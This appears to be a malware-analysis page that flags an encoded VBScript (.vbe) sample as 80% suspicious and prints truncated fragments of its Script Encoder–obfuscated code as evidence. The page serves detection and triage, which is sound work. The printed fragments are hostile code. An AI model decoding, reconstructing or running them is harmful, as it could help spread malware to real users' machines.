Suspicious 80% Download

d6a02e7b82bc44e7573b9aa7b3a56a3f2b52fb2fb0aa03009a421af5077956a6.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-256d6a02e7b82bc44e7573b9aa7b3a56a3f2b52fb2fb0aa03009a421af5077956a6
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^pyMTAA==@#@&@#@&}wDkW PAaw^k^kD@#@&@#@&ZW dY,9jV)oP,P,P~P~~,'~JNrSHb[W9At2/TmUJ@#@&;WUkY,Kj:Hd~P{PER74dE@#@&ZKU/DPI:( (,P,P~'~EhKqHr~B,qUOD\Cs^+~N~8Phbx!Y+@#@&;GxkY~KG1]K,PP,~',JCn/i-UW6YAl.n'J@#@&@#@&@#@&frh,1fe$\~~bzJ`sS,|g?.V@#@&@#@&EP(xbYrC^k/mOkKxP9ndP7lMkC4snkPLVK8l^+d@#@&|1j#VPxP"6h.$vJW%c~c2X*lZX&+sFcGFFF vlX/J*@#@&@#@&@#@&@#@&?;4,orUp]c*@#@&~~,P9ks~;1pIjBPS\2"3~,Hu5_KS~\b?qt~,9}G])~,sGKjrS~"(K(h@#@&,P~~U+Y~/g(ej,x,Z.lD+r(L^YvJ ?1Dr2DR?4nV^J#@#@&~P,P"(K(K~{PEcGXbO!TTZ&!TTZ!T!WTZ!TZ!wssw!ZT!~%T!Z!TTZ!!ZT!Z!cZTT!Z!Z!T!TTZ!T!ZT!Z!TTZ!!TTZ!T!ZTZ!TZ!Z!!Z!ZT!Z!T!Z!TTZ!!ZT!Z!!ZTT!Z!Z!0!qTZ …
Percent-encoded content decoded line 1
1:56697… wsws%~ZR3%~A)cwsooRAfZ0A;22R)Xc2!8!T2108!T!ZT!2&9$Rfc/+W!/*23RGz&wssw%~/%A%1bzcoows*Z0fWZ Wq/2Rc8Zqsoow*fvzTFRf*/ycF*3R*1b2owsoRA;%2RGG)cwsosl!09lc W+!Rfc;+*vR2Rc$!$TZ!T*O0A;%30Gsbfowso*ZowFXFcR cl!Z0fWZ+c+!30G …
Microsoft Script Encoder footer line 1
1:1254250… TcZ!!ZTT!Z!Z!T!T0~!T!ZoswsTTZ!!T*Z!T!ZTZ&TZ!Z,blfWE@#@&P~P,2U[,q0@#@&2 NPU;8@#@&@#@&@#@&bw8kBA==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.